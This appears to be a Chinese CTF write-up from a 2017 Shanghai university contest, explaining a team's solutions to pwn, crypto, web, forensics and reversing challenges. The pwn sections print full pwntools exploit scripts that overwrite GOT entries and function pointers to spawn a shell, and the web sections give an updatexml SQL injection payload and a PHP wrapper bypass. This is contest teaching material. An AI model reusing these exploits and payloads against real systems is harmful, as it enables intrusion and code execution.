2017年上海大学生信息安全竞赛复旦基因瓢虫战队Writeup

黑客与极客 / 2017年11月14日 10:52

互联网+

这次比赛题目难度适中,有两道逆向题没有做,最后是预赛第四名,以下是我们的Writeup。

is aes secure 150

考察的是针对CBC模式的`Padding Oracle`攻击,原理可以参看http://www.freebuf.com/articles/web/15504.html

上网找了个现成的脚本,经过一些更改后即可使用。

详细脚本见 http://fars.ee/os4R/python

pwn100

程序功能比较简单,漏洞在于delete函数没有做下界检查,可以配合edit做一个对bss段前的任意写

无非就是在.bss段前面找一个指针指向.got.plt,然后修改。在elf头处有很多这样的指针,找`atoi`泄露然后修改为system,然后触发system(\bin\sh)即可。

主要的利用问题在于向前移位,这里采用“分段”发送的方法,脚本如下:

```python from pwn import * r = remote('106.75.8.58', 13579) back = '4\n'*263007 for i in range(263): r.send('4\n'*999) r.clean(1) r.sendline('4') print r.recv() r.send('4\n'*7) r.clean(1) r.sendline('2') leak = r.recv(6).ljust(8, '\x00') atoi_addr = u64(leak) offset_atoi = 0x000000000036e80 offset_system = 0x45390 libc = atoi_addr - offset_atoi system = offset_system + libc r.sendline('3') r.sendline(p64(system)) r.interactive() ``` 流量分析 misc 300

用软件分析流量。FTP流量中有两个`flag.zip`,其中一个是伪加密,处理过后得到提示`key`不在这里,在SSL流量中,另一个flag.zip是真加密。

于是仔细观察FTP流量发现了`key.log`,配入Wireshark即可解密部分SSL流量。通过`ssl && http`查看http报文,发现是百度网盘下载了一个mp3。

频谱分析得到key为`AaaAaaaAAaaaAAaaaaaaAAAAAaaaaaaa!`,拿去另外一个`flag.zip`解密即可。

step by step

扫描一下发现code.zip,解压得到加密的源码。用`wfox`的工具解密phpjiami,发现是三道关卡。

第一关考察`mt_srand`攻击,参考 openwall.com/php_mt_seed 。

第二关为弱类型判断问题,`00`即可绕过。

第三关是绕过正则,`id=php://jpgresource=flag.php`即可。

p200

fast bin, new string malloc的地址可以盖到指向函数指针列表的指针,修改相应偏移即可。脚本如下

```python from pwn import * context.arch = 'amd64' context.log_level = 'debug' r = remote('106.75.8.58',12333) r.recvuntil("3. free\n") r.sendline("3") r.recvuntil("3. free\n") r.sendline("2") r.recvuntil("length:\n") r.sendline(str(0x30)) r.send(p64(0x602d70)) r.recvuntil("3. free\n") r.sendline("2") r.recvuntil("length:\n") r.sendline("3") r.send("Tom") r.recvuntil("3. free\n") r.sendline("2") r.recvuntil("length:\n") r.sendline(str(0x30)) r.send(p64(0x602d90)) r.recvuntil("3. free\n") r.sendline("2") r.recvuntil("length:\n") r.sendline("3") r.send("Tom") r.interactive() ```

pwn300 heap

这道题可以通过edit来修改struct,而且没有长度限制,但是程序会通过末尾的一个随机数检查来检测溢出,类似于canary,但是这个随机数的地址是可以知道的。

可以通过类似`p=&p-0×18`的思想,绕过对自定义随机数的检查,并修改这个全局变量的值。

然后就可以通过溢出进行攻击,首先溢出改字符串指针,泄漏got表就可以拿到libc。

之后再控一次全局随机数,来绕过对libc中`/bin/sh`的检查。

最后就是改函数指针,执行`system()`。

详细利用脚本见:

from pwn import * context.arch = 'amd64' #context.log_level = 'debug' r = remote('127.0.0.1', 4444) #r = remote('106.75.8.58', 23238) def add(name, school, tutor=False): r.sendline('1') r.recvuntil('please input the length of name\n') r.sendline(str(len(name))) r.recvuntil('please input name\n') r.sendline(name) r.recvuntil('please input the length of schoolname\n') r.sendline(str(len(school))) r.recvuntil('please input the school name\n') r.sendline(school) r.recvuntil('is a tutor?(yes/no)') if tutor: r.sendline('yes') else: r.sendline('no') r.recvuntil('add member successfully, his/her id=') i = r.recvline().strip() return int(i) def remove(i): r.recvuntil('option:\n') r.sendline('2') r.recvuntil('input a id to delete') r.sendline(str(i)) def edit_name(i, new_name): r.recvuntil('option:\n') r.sendline('3') r.recvuntil('input a id to edit\n') r.sendline(str(i)) r.recvuntil('option:\n') r.sendline('1') r.recvuntil('please input the length of new name\n') r.sendline(str(len(new_name))) r.recvuntil('please input new name\n') r.sendline(new_name) def edit_school(i, new_name): r.recvuntil('option:\n') r.sendline('3') r.recvuntil('input a id to edit\n') r.sendline(str(i)) r.recvuntil('option:\n') r.sendline('2') r.recvuntil('please input the length of new schoolname\n') r.sendline(str(len(new_name))) r.recvuntil('please input new schoolname\n') r.sendline(new_name) def show(i): r.recvuntil('option:\n') r.sendline('4') r.recvuntil('input a id to intro\n') r.sendline(str(i)) r.recvuntil('My name is ') name = r.recvline().strip() return name p = "" p += '1' p += '\n' p += str(len('a')) p += '\n' p += 'a' p += '\n' p += str(len('b')) p += '\n' p += 'b' p += '\n' p += 'no' p += '\n' r.send(p*1000) r.clean(1) atoi_got = 0x602FE8 rand_got = 0x602FF8 offset_rand = 0x00000000003af60 offset_system = 0x45390 randn = 0x60F040 - 0x10 add('A'*15, 'A'*15) # 1000 add('B'*15, 'B'*15) # 1001 edit_school(1000, 'A'*40 + p64(randn)[:-1]) edit_name(1001, 'A'*16 + p32(0) + '\x00'*3) # randn -> 0 add('A'*15, 'A'*15) # 1002 add('A'*15, 'A'*15) # 1003 add('A'*15, 'A'*15) # 1004 add('A'*15, 'A'*15) # 1005 edit_school(1004, 'A'*40 + p64(rand_got) + p32(0x8) + '\x00'*3) libc_rand = unpack(show(1005), 'all') libc = libc_rand - offset_rand print hex(libc) system = offset_system + libc add('A'*15, 'A'*15) # 1006 add('A'*15, 'A'*15) # 1007 edit_school(1006, 'A'*40 + p64(randn)[:-1]) edit_name(1007, 'A'*16 + p32(0x74697865) + '\x00'*3) add('A'*15, 'A'*15) # 1008 add('A'*15, 'A'*15) # 1009 sh = libc + 0x18cd17 edit_school(1008, flat( 'A'*16, 0x74697865, 0x41, 1009, sh, 7, system, )) r.sendline('4') r.sendline('1009') r.interactive()

这个利用有成功几率的问题,因为一开始随机化堆分配可能导致后面malloc出来的东西和理想布局不同。

rrrsa 300

题目给了源码,共提供三个功能,1.如果是root,打印旧的e,d,重新生成e,d但是n,p,q均不变2.获得公钥3.获得密文

一个session只能操作3次。破解流程如下:

1.使用hash扩展攻击可以伪造出符合条件的token成为root用户,从而使用regenkey功能

得到原e0 d0

2.使用getPublickey功能 得到新的e1 n1

3.使用showflag 得到加密过的flag

4.生成新密钥的过程中,p,q,n 均不变,n1=n0,根据e0,d0,n0可接的p,q

5.根据p,q,n,e1可得到d1

7.6.使用d1,n 解密,得到flag明文

clemency 200

拿到一个使用了今年defcon的clemency架构的bin文件。

使用clemency模拟器运行该文件,发现该程序只是把输入的flag按照架构定义的9bit编码方式输出。

使用ppp战队开源的`xxd`从flag.enc还原出flag

classical 50

拿到一串使用单表替换加密的密文,通过在线网站解密 http://www.quipqiup.com/ 获得明文。

明文中夹杂了一串无意义的字母和数字,感觉像是base64,但直接解码出的原文无意义。

猜测可能对其中的字母又做了替换。通过暴力方式求解,遍历替换表,得到了原文。

crackme 50

拿到一个nspack加壳的二进制文件,使用脱壳工具脱壳,发现程序做了异或变换,做逆变换得到原文。

Some Words 100

进入博客网站后,发现id=后存在注入点,过滤规则过滤了单引号、and等,id=后第一个指令没过滤。

尝试使用updatexml注入,updatexml(1,concat(0x7e,(SELECT table_name from information_schema limit 0,1),0x7e),1)

写脚本查出存在一张f14g表,表内有一个f14g字段,再通过updatexml查出表内信息,即为flag。

Welcome To My Blog 200

随便点击,发现get方法中有一个action,http://2fa303a375c64b82a5e41b742475471d0c874dca9fef44dd.game.ichunqiu.com/index.php?action=home

将action=flag,查看页面源代码,flag在源代码底部。

登机牌 150

一道隐写题,图片含有一个二维码一个条形码

下方的条形码使用PS反相后解PDF417编码得到Key1921070120171018。

用010editor打开图片可以发现在末尾处追加了修改了RAR文件头的压缩包,修复RAR后使用上面得到的key解压拿到flag。

*本文原创作者:robin7,属于FreeBuf原创奖励计划,禁止转载。返回搜狐,查看更多

责任编辑:

1.环球科技网遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.环球科技网的原创文章,请转载时务必注明文章作者和"来源:环球科技网",不尊重原创的行为环球科技网或将追究责任;3.作者投稿可能会经环球科技网编辑修改或补充。